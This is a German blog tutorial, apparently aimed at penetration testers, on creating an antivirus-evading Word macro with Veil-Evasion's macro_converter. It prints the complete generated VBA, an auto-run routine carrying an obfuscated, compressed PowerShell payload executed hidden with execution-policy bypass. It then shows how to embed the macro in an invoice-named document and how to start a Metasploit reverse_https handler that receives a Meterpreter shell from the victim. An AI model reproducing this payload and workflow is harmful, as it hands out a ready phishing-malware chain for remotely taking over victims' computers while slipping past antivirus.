Veil-Evasion Auxiliary macro_converter

Makro-Viren sind eigentlich ein wenig in die Tage gekommen. Glaubt ihr das wirklich? Im Gegenteil – aktuell  sind wieder verstärkt Angriffe zu verzeichnen. Auch wenn Makros seit geraumer Zeit in Office standartmäßig deaktiviert sind, gibt es viele Nutzer, die diese Anweisungen bzw. Deklarationen weiter nutzen wollen. Viele haben den Standart geändert und Makros wieder aktiviert bzw. lassen sich eine Meldung anzeigen, wenn Makro in einem Office-Dokument enthalten sind. Diese können dann mit einem Mausklick aktiviert werden.

Natürlich erfinden die Angreifer einige Tricks, um die ahnungslosen Nutzer in die Irre zu führen. Hier ist also eine wenig Aufklärung gefragt.

Penetration Tester sind eine andere Gruppe, die diese Makros nutzen, um in die Netzwerke ihrer Kunden „einzubrechen“.  Aber hier geht man im Auftrag  und  strukturiert vor um die Sicherheitsarchitektur des Kunden zu testen. Dabei wendet man gezielt Social Engineering an und versucht den installierten Virenschutz zu umgehen.

Veil-Evasion ist eine Tool, dass gerade bei der Überwindung des Virenschutzes helfen soll und dazu verschiedene  Verschleierungstechniken anwendet. Im November V-Day 2015 wurde  ein Hilfsmittel (Auxiliar) hinzugefügt, mit dem  sich relativ einfach Makros zu diesem Zweck erstellen lassen. Ziel ist es, durch Nutzung des Makros in einem Office Dokument eine (reverse) Netzwerkverbindung vom Opfer-PC zum Angreifer zu errichten und damit vom Virenschutz unbemerkt weitere Befehle auszuführen (Post-Exploitation).

Der Macro Converter (macro_converter) ist ab der Version 2.22.1 in Veil-Evasion verfügbar. Eine Lister der bis heute enthaltenen Module findet man hier:

=========================================================================
 Veil-Evasion | [Version]: 2.22.1
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [*] Available Payloads:

  1)  auxiliary/coldwar_wrapper
  2)  auxiliary/macro_converter
  3)  auxiliary/pyinstaller_wrapper

  4)  c/meterpreter/rev_http  
  5)  c/meterpreter/rev_http_service
  6)  c/meterpreter/rev_tcp   
  7)  c/meterpreter/rev_tcp_service
  8)  c/shellcode_inject/flatc

  9)  cs/meterpreter/rev_http 
  10)  cs/meterpreter/rev_https
  11)  cs/meterpreter/rev_tcp  
  12)  cs/shellcode_inject/base64_substitution
  13)  cs/shellcode_inject/virtual

  14)  go/meterpreter/rev_http 
  15)  go/meterpreter/rev_https
  16)  go/meterpreter/rev_tcp  
  17)  go/shellcode_inject/virtual

  18)  native/backdoor_factory 
  19)  native/hyperion         
  20)  native/pe_scrambler     

  21)  powershell/meterpreter/rev_http
  22)  powershell/meterpreter/rev_https
  23)  powershell/meterpreter/rev_tcp
  24)  powershell/shellcode_inject/download_virtual
  25)  powershell/shellcode_inject/download_virtual_https
  26)  powershell/shellcode_inject/psexec_virtual
  27)  powershell/shellcode_inject/virtual

  28)  python/meterpreter/bind_tcp
  29)  python/meterpreter/rev_http
  30)  python/meterpreter/rev_http_contained
  31)  python/meterpreter/rev_https
  32)  python/meterpreter/rev_https_contained
  33)  python/meterpreter/rev_tcp
  34)  python/shellcode_inject/aes_encrypt
  35)  python/shellcode_inject/aes_encrypt_HTTPKEY_Request
  36)  python/shellcode_inject/arc_encrypt
  37)  python/shellcode_inject/base64_substitution
  38)  python/shellcode_inject/des_encrypt
  39)  python/shellcode_inject/download_inject
  40)  python/shellcode_inject/flat
  41)  python/shellcode_inject/letter_substitution
  42)  python/shellcode_inject/pidinject

  43)  ruby/meterpreter/rev_http
  44)  ruby/meterpreter/rev_http_contained
  45)  ruby/meterpreter/rev_https
  46)  ruby/meterpreter/rev_https_contained
  47)  ruby/meterpreter/rev_tcp
  48)  ruby/shellcode_inject/base64
  49)  ruby/shellcode_inject/flat

 [menu>>]: 

									

Die Installation von Veil-Evasion kann mittels git erfolgen. Eine entsprechende Anleitung findet man hier. In einem folgenden Beispiel wird gezeigt, wie man mittels macro_converter eine Makro erstellt und es dann in eine Microsoft-Word Dokument einbindet. Veil-Evasion nutzt das Metasploit-Framework und die dort enthaltenen Techniken und Module.

Schritt 1 – Makro-Code erzeugen

Der Macro Converter ist im Menü von Veil unter Punkt zwei zu finden.

=========================================================================
 Veil-Evasion | [Version]: 2.22.1
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 Payload: auxiliary/macro_converter loaded


 Required Options:

 Name      Current Value  Description
 ----      -------------  -----------
 ARCHITECTURE      x86       x86 or x64
 POSH_BATCH                  Path to a powershell batch script

 Available Commands:

  set           Set a specific option value
  info          Show information about the payload
  options       Show payload's options
  generate      Generate payload
  back          Go to the main menu
  exit          exit Veil-Evasion

 [auxiliary/macro_converter>>]: 

									

Die Architektur ist standardmäßig auf x86 festgelegt. Möchte man ein 64-bit System angreifen, so sollte man hier den Wert auf x64 ändern. Eigentlich ist hier nur noch der Pfad zur Powershell Batch-Datei anzugeben. Diese hat man vorher mit dem Modul powershell/shellcode_inject/virtual (Nr. 27 im Menü) erstellt und im Datensystem von Kali Linux abgespeichert. Hier geht man genauso vor, wie es in einem anderen Beitrag schon beschrieben wurde.

In unserem Beispiel ist also nur noch das Kommando zum Setzen des Pfades anzugeben. Dann kann mit dem Befehl generate das Makro erzeugt werden.

set POSH_BATCH /usr/share/veil-output/source/rechnung.bat
generate

=========================================================================
 Veil-Evasion | [Version]: 2.22.1
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [>] Please enter the base name for output files (default is 'payload'): rechnung

 Language:    powershell
 Payload:    auxiliary/macro_converter
 Required Options:      ARCHITECTURE=x86  POSH_BATCH=/usr/share/veil-
                        output/source/rechnung.bat
 Payload File:    /usr/share/veil-output/source/rechnung1.txt

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! 😉

 [>] Press any key to return to the main menu.

									

Das Ergebnis ist eine Textdatei (in unserem Beispiel rechnung1.txt), die das Makro enthält

root@kali:/usr/share/Veil/Veil-Evasion# cat /usr/share/veil-output/source/rechnung1.txt

Sub Workbook_Open()
Dim str As String
Dim exec As String

str = "nVdNb+M2EL3nVxCGDjZiB5QoUfIGAXbbRYEFiqJAgu4hyEEfVCNUkQ"
str = str + "1b3jq77X+v5tEzspINsOhlRHLImTdvhh8KSnWj3s8u7j+27a"
str = str + "en7WbXz2d/uV3nWhNdVW07Wzyo7aFom1Lt+7wfPu7YD3r1qe"
str = str + "t/73fqj2bXH/L2Q9tuyvlp7O+lOjRdr46n7/Pp+3Vx/b/9/L"
str = str + "xzee/uHodPxX4OJ7tflmr0fGqd+T6NvPT+tP9S7vof8f3knv"
str = str + "aun7+2LFHN3l8Em4HID1W1unveOrUa1hRu99HVTdf0zaZTQa"
str = str + "lWv+VPTs0+N52JZmrVDb39Ni+dwsgvh66kmXu12ub7ff+4O1"
str = str + "wEx5tg8+7dhGS91MdQa/oY/4n14lrd//Tcu/uHh2BPGdXHuh"
str = str + "w0LhtEFg0CE0dhSWRrmpKQoXAQJRQxKYpBJN6DdGGlnHRDmZ"
str = str + "xSNyJvuh5EkRKsnMYsm69JkZMBQ8LSWEotjbXUishbCSw0WV"
str = str + "ck0CV7jubVETtP0ikWQQq/RpDG1ArhjfA5Q2MZW65IJKGYWj"
str = str + "MMrzVihRShGDA5j0FrhAi/7DtBvxmWgVFymVIqalqryUdK82"
str = str + "rSmoK7UczzHLWSTIBnrB2BWyuoCEFcTCaH5eso9Ys4pErimM"
str = str + "1DJAULpBGsJTkziaARUVKLyNlySNlywEIRJSQsAbKOBMWWIg"
str = str + "7NipRosmuZAm8xa5FfTEGt6ZQRVFLZFeCaNwSsIKEJGUjJfD"
str = str + "61cjY55/S8MFAIa+Muw/ZLw9eKiCwbVCI5SqSoU8s+ECqIja"
str = str + "mFDRbLMiBF5IkARxGCF28Fa9ecFIOu5ZRZFDVahqdYlCMqMW"
str = str + "OFwU4WaN6vYa1HaqUErADPGBC6xjI0wEUBo2VRmJlYyRgzvK"
str = str + "UjJWsOH+kBIB9MLT4StueLRsyj/jDPW0aUZMBGYsBy5GchrF"
str = str + "kBXtDywGFeNhiwePQ5Y/YUR+wcJZDI1kXOY0EFgdMslpKKKs"
str = str + "70CByl7KfU7MhTPJYFAoy5aCCSRKyA3YJNgUnk16e7mgRohC"
str = str + "vPabo8L1bPlVQnFL7CCnYEyx7zmksFXHnus2mSpU4xGUc48g"
str = str + "s2fGpBXSW0G8bi2U0nQWNFKgcFji/4RYBIXiqcInJf2Zad4x"
str = str + "5MNS+DX+9cjhvPWswKT3vBpefDl93jSaylcoQI1EEylspY7Q"
str = str + "gfCCyncUwtrHgOwFUicWhOhU8otCUbRb144Dmv9VgyTgoSgF"
str = str + "MqkRPY37WkWBPIkgCNpyMUpWQLK7RQh4sgi1l7JlJpWV6Gew"
str = str + "GhRkhjMXG0ltNR50wYlmXwZpbnZ6x/3WhZEUtE1A3riV+/L6"
str = str + "m7Jr/ZNMDvXh2yFntVUxfvg3SKOSNRyvWuM845uhVATmk/e6"
str = str + "UheZIF7Z9+0ynZpBtLa0wFtnMuCcCD74zTaVietZTTM5qPpn"
str = str + "5fcIBLHenxBqK3OCAYeAX5Vwb58E8h85orJ4dRKaeekwcBzI"
str = str + "/CyCWHqvPlgzGc7dlk7Ewrj2Nc4DVa5DePJMB8EvQprOuLer"
str = str + "NT86C50ddBo1atGzr78upX1/3ZP67CxTB6eblQ3+gBf/qDuP"
str = str + "e/EA/z4Hh1txk6JpovLoNmsVTD0vugeViqcKH+UZtDv+oObX"
str = str + "v970XwFb8Ak/+fAcsyOC7pQ0//2z7f9avb1rmtWt26ctNViv"
str = str + "4QtP4P"

exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRe"
exec = exec + "ader ($(New-Object IO.Compression.DeflateStream "
exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]::Fro"
exec = exec + "mBase64String("" " & str & " "" )))), [IO.Comp"
exec = exec + "ression.CompressionMode]::Decompress)), [Text.En"
exec = exec + "coding]::ASCII)).ReadToEnd();"""

Shell(exec)

End Sub

									

 

Schritt 2 – Makro in Microsoft Word erstellen

In einem der letzten Beiträge haben wir schon mal ein Makro in MS-Exel erstellt. Wie gehen in MS-Word ähnlich vor.

Die Erläuterungen beziehen sich auf MS-Word 2007. Eine gute Anleitung findet man z.B. hier.

Anzeigen der Registerkarte „Entwickler“

Word1

Makro neu erstellen – als Name wählen wir AutoOpen. Dann den im ersten Schritt erzeugten Code einfügen.

Word2

Datei als „Word Dokument mit Makro“ speichern.

Word3

Einstellungen für Makros

Word4

Sicherheitswarnung in MS-Word 2010 – Mit einem einfachen Mausklick kann der Makro aktiviert werden.

word6

Schritt 3 Metasploit-Handler starten und Verbindung aufbauen

Auch diese Vorgehensweise wurde bereits erläutert. In der Konsole reicht dieser Befehl aus, um den Metasploit-Handler zu starten:

msfconsole -r /usr/share/veil-output/handlers/rechnung_handler.rc

       =[ metasploit v4.11.5-2015113001                   ]
+ -- --=[ 1508 exploits - 870 auxiliary - 253 post        ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /usr/share/veil-output/handlers/rechnung_handler.rc for ERB directives.
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> use exploit/multi/handler
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set LHOST 192.168.1.12
LHOST => 192.168.1.12
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set LPORT 443
LPORT => 443
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) > 
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...

									

Ist das Makro auf dem PC des Opfers ordnungsgemäß ausgeführt worden, so öffnet sich eine Meterpreter-Session, die nun eine kontinuierliche Kommunikation mit dem Client gewährleistet.

Shell

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.